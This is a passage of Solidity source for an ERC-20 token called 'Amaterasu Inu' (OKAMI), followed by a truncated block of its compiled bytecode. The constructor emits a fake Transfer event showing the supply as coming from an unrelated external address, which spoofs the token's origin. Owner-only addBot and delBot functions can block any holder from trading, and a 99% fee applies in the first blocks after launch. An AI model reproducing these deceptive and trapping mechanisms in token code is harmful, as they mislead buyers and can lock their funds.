private bots; mapping(address => uint256) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _maxTxAmount = _tTotal; uint256 private openBlock; uint256 private _swapTokensAtAmount = 100 * 10**9; // 100 tokens uint256 private _maxWalletAmount = _tTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Amaterasu Inu"; string private constant _symbol = "OKAMI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2, address payable addr3) { _feeAddrWallet1 = addr1; _feeAddrWallet2 = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[addr3] = true; emit Transfer( address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner() && from != address(this) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { // Not over max tx amount require(amount <= _maxTxAmount, "Over max transaction amount."); // Cooldown require(cooldown[to] < block.timestamp, "Cooldown enforced."); // Max wallet require(balanceOf(to) + amount <= _maxWalletAmount, "Over max wallet amount."); cooldown[to] = block.timestamp + (30 seconds); } if ( to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFee[from] ) { _feeAddr1 = 2; _feeAddr2 = 8; } if (openBlock + 4 >= block.number && from == uniswapV2Pair) { _feeAddr1 = 1; _feeAddr2 = 99; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); // uint256 contractETHBalance = address(this).balance; // if (contractETHBalance > 0) { // sendETHToFee(address(this).balance); // } } } else { // Only if it's not from or to owner or from contract address. _feeAddr1 = 0; _feeAddr2 = 0; } _tokenTransfer(from, to, amount); } function swapAndLiquifyEnabled(bool enabled) public onlyOwner { inSwap = enabled; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function setMaxTxAmount(uint256 amount) public onlyOwner { _maxTxAmount = amount * 10**9; } function setMaxWalletAmount(uint256 amount) public onlyOwner { _maxWalletAmount = amount * 10**9; } function whitelist(address payable adr1) external onlyOwner { _isExcludedFromFee[adr1] = true; } function unwhitelist(address payable adr2) external onlyOwner { _isExcludedFromFee[adr2] = false; } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; // .5% _maxTxAmount = 1000000000000 * 10**9; _maxWalletAmount = 2000000000000 * 10**9; tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function addBot(address theBot) public onlyOwner { bots[theBot] = true; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setSwapTokens(uint256 swaptokens) public onlyOwner { _swapTokensAtAmount = swaptokens; } function _tokenTransfer( address sender, address recipient, uint256 amount ) private { _transferStandard(sender, recipient, amount); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _feeAddr1, _feeAddr2 ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c9567bf91161006f578063c9567bf91461043f578063dd62ed3e14610456578063e98391ff14610493578063ec28438a146104bc578063f4293890146104e5578063ffecf516146104fc5761014b565b80638da5cb5b1461033157806395d89b411461035c5780639a590427146103875780639b19251a146103b0578063a9059cbb146103d9578063bf6642e7146104165761014b565b806327a14fc21161010857806327a14fc214610249578063313ce5671461027257806351bc3c851461029d5780635932ead1146102b457806370a08231146102dd578063715018a61461031a5761014b565b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101b857806323b872dd146101e3578063273123b7146102205761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610525565b6040516101729190613180565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190612cad565b610562565b6040516101af9190613165565b60405180910390f35b3480156101c457600080fd5b506101cd610580565b6040516101da9190613342565b60405180910390f35b3480156101ef57600080fd5b5061020a60048036038101906102059190612c5a565b610592565b6040516102179190613165565b60405180910390f35b34801561022c57600080fd5b5061024760048036038101906102429190612b93565b61066b565b005b34801561025557600080fd5b50610270600480360381019061026b9190612d47565b61075b565b005b34801561027e57600080fd5b50610287610809565b60405161029491906133b7565b60405180910390f35b3480156102a957600080fd5b506102b2610812565b005b3480156102c057600080fd5b506102db60048036038101906102d69190612ced565b61082b565b005b3480156102e957600080fd5b5061030460048036038101906102ff9190612b93565b6108dd565b6040516103119190613342565b60405180910390f35b34801561032657600080fd5b5061032f61092e565b005b34801561033d57600080fd5b50610346610a81565b6040516103539190613097565b60405180910390f35b34801561036857600080fd5b50610371610aaa565b60405161037e9190613180565b60405180910390f35b34801561039357600080fd5b506103ae60048036038101906103a99190612bed565b610ae7565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612bed565b610bd7565b005b3480156103e557600080fd5b5061040060048036038101906103fb9190612cad565b610cc7565b60405161040d9190613165565b60405180910390f35b34801561042257600080fd5b5061043d60048036038101906104389190612d47565b610ce5565b005b34801561044b57600080fd5b50610454610d84565b005b34801561046257600080fd5b5061047d60048036038101906104789190612c1a565b6112f9565b60405161048a9190613342565b60405180910390f35b34801561049f57600080fd5b506104ba60048036038101906104b59190612ced565b611380565b005b3480156104c857600080fd5b506104e360048036038101906104de9190612d47565b611432565b005b3480156104f157600080fd5b506104fa6114e0565b005b34801561050857600080fd5b50610523600480360381019061051e9190612b93565b6114f1565b005b60606040518060400160405280600d81526020017f416d6174657261737520496e7500000000000000000000000000000000000000815250905090565b600061057661056f6115e1565b84846115e9565b6001905092915050565b600069152d02c7e14af6800000905090565b600061059f8484846117b4565b610660846105ab6115e1565b61065b85604051806060016040528060288152602001613a3660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106116115e1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ff29092919063ffffffff16565b6115e9565b600190509392505050565b6106736115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610700576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f790613242565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6107636115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e790613242565b60405180910390fd5b633b9aca008161080091906134ae565b600d8190555050565b60006009905090565b600061081d306108dd565b905061082881612056565b50565b6108336115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b790613242565b60405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b6000610927600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122de565b9050919050565b6109366115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ba90613242565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4f4b414d49000000000000000000000000000000000000000000000000000000815250905090565b610aef6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7390613242565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610bdf6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6390613242565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610cdb610cd46115e1565b84846117b4565b6001905092915050565b610ced6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7190613242565b60405180910390fd5b80600c8190555050565b610d8c6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1090613242565b60405180910390fd5b601360149054906101000a900460ff1615610e69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e60906132e2565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610efa30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669152d02c7e14af68000006115e9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f4057600080fd5b505afa158015610f54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f789190612bc0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fda57600080fd5b505afa158015610fee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110129190612bc0565b6040518363ffffffff1660e01b815260040161102f9291906130b2565b602060405180830381600087803b15801561104957600080fd5b505af115801561105d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110819190612bc0565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061110a306108dd565b600080611115610a81565b426040518863ffffffff1660e01b815260040161113796959493929190613104565b6060604051808303818588803b15801561115057600080fd5b505af1158015611164573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111899190612d74565b5050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550683635c9adc5dea00000600a81905550686c6b935b8bbd400000600d819055506001601360146101000a81548160ff02191690831515021790555043600b81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112a39291906130db565b602060405180830381600087803b1580156112bd57600080fd5b505af11580156112d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f59190612d1a565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113886115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611415576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140c90613242565b60405180910390fd5b80601360156101000a81548160ff02191690831515021790555050565b61143a6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90613242565b60405180910390fd5b633b9aca00816114d791906134ae565b600a8190555050565b60004790506114ee8161234c565b50565b6114f96115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611586576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157d90613242565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611659576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611650906132c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c0906131e2565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117a79190613342565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181b906132a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188b906131a2565b60405180910390fd5b600081116118d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ce90613262565b60405180910390fd5b6002600e819055506008600f819055506118ef610a81565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561195d575061192d610a81565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561199557503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119eb5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a415750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fd157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611aea5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611af357600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b9e5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bf45750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c0c5750601360179054906101000a900460ff165b15611d8057600a54811115611c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4d90613302565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cce90613322565b60405180910390fd5b600d5481611ce4846108dd565b611cee9190613427565b1115611d2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2690613282565b60405180910390fd5b601e42611d3c9190613427565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611e2b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e815750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e97576002600e819055506008600f819055505b436004600b54611ea79190613427565b10158015611f025750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611f18576001600e819055506063600f819055505b6000611f23306108dd565b90506000600c548210159050808015611f495750601360159054906101000a900460ff16155b8015611fa35750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611fbb5750601360169054906101000a900460ff165b15611fca57611fc982612056565b5b5050611fe2565b6000600e819055506000600f819055505b611fed838383612447565b505050565b600083831115829061203a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120319190613180565b60405180910390fd5b50600083856120499190613508565b9050809150509392505050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561208e5761208d613675565b5b6040519080825280602002602001820160405280156120bc5781602001602082028036833780820191505090505b50905030816000815181106120d4576120d3613646565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561217657600080fd5b505afa15801561218a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121ae9190612bc0565b816001815181106121c2576121c1613646565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061222930601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115e9565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161228d95949392919061335d565b600060405180830381600087803b1580156122a757600080fd5b505af11580156122bb573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000600854821115612325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231c906131c2565b60405180910390fd5b600061232f612457565b9050612344818461248290919063ffffffff16565b915050919050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61239c60028461248290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123c7573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61241860028461248290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612443573d6000803e3d6000fd5b5050565b6124528383836124cc565b505050565b6000806000612464612697565b9150915061247b818361248290919063ffffffff16565b9250505090565b60006124c483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126fc565b905092915050565b6000806000806000806124de8761275f565b95509550955095509550955061253c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125d185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261d8161286f565b612627848361292c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126849190613342565b60405180910390a3505050505050505050565b60008060006008549050600069152d02c7e14af680000090506126cf69152d02c7e14af680000060085461248290919063ffffffff16565b8210156126ef5760085469152d02c7e14af68000009350935050506126f8565b81819350935050505b9091565b60008083118290612743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161273a9190613180565b60405180910390fd5b5060008385612752919061347d565b9050809150509392505050565b600080600080600080600080600061277c8a600e54600f54612966565b925092509250600061278c612457565b9050600080600061279f8e8787876129fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061280983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ff2565b905092915050565b60008082846128209190613427565b905083811015612865576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161285c90613202565b60405180910390fd5b8091505092915050565b6000612879612457565b905060006128908284612a8590919063ffffffff16565b90506128e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612941826008546127c790919063ffffffff16565b60088190555061295c8160095461281190919063ffffffff16565b6009819055505050565b6000806000806129926064612984888a612a8590919063ffffffff16565b61248290919063ffffffff16565b905060006129bc60646129ae888b612a8590919063ffffffff16565b61248290919063ffffffff16565b905060006129e5826129d7858c6127c790919063ffffffff16565b6127c790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a158589612a8590919063ffffffff16565b90506000612a2c8689612a8590919063ffffffff16565b90506000612a438789612a8590919063ffffffff16565b90506000612a6c82612a5e85876127c790919063ffffffff16565b6127c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612a985760009050612afa565b60008284612aa691906134ae565b9050828482612ab5919061347d565b14612af5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aec90613222565b60405180910390fd5b809150505b92915050565b600081359050612b0f816139d9565b92915050565b600081519050612b24816139d9565b92915050565b600081359050612b39816139f0565b92915050565b600081359050612b4e81613a07565b92915050565b600081519050612b6381613a07565b92915050565b600081359050612b7881613a1e565b92915050565b600081519050612b8d81613a1e565b92915050565b600060208284031215612ba957612ba86136a4565b5b6000612bb784828501612b00565b91505092915050565b600060208284031215612bd657612bd56136a4565b5b6000612be484828501612b15565b91505092915050565b600060208284031215612c0357612c026136a4565b5b6000612c1184828501612b2a565b91505092915050565b60008060408385031215612c3157612c306136a4565b5b6000612c3f85828601612b00565b9250506020612c5085828601612b00565b9150509250929050565b600080600060608486031215612c7357612c726136a4565b5b6000612c8186828701612b00565b9350506020612c9286828701612b00565b9250506040612ca386828701612b69565b9150509250925092565b60008060408385031215612cc457612cc36136a4565b5b6000612cd285828601612b00565b9250506020612ce385828601612b69565b9150509250929050565b600060208284031215612d0357612d026136a4565b5b6000612d1184828501612b3f565b91505092915050565b600060208284031215612d3057612d2f6136a4565b5b6000612d3e84828501612b54565b91505092915050565b600060208284031215612d5d57612d5c6136a4565b5b6000612d6b84828501612b69565b91505092915050565b600080600060608486031215612d8d57612d8c6136a4565b5b6000612d9b86828701612b7e565b9350506020612dac86828701612b7e565b9250506040612dbd86828701612b7e565b9150509250925092565b6000612dd38383612ddf565b60208301905092915050565b612de88161353c565b82525050565b612df78161353c565b82525050565b6000612e08826133e2565b612e128185613405565b9350612e1d836133d2565b8060005b83811015612e4e578151612e358882612dc7565b9750612e40836133f8565b925050600181019050612e21565b5085935050505092915050565b612e6481613560565b82525050565b612e73816135a3565b82525050565b6000612e84826133ed565b612e8e8185613416565b9350612e9e8185602086016135b5565b612ea78161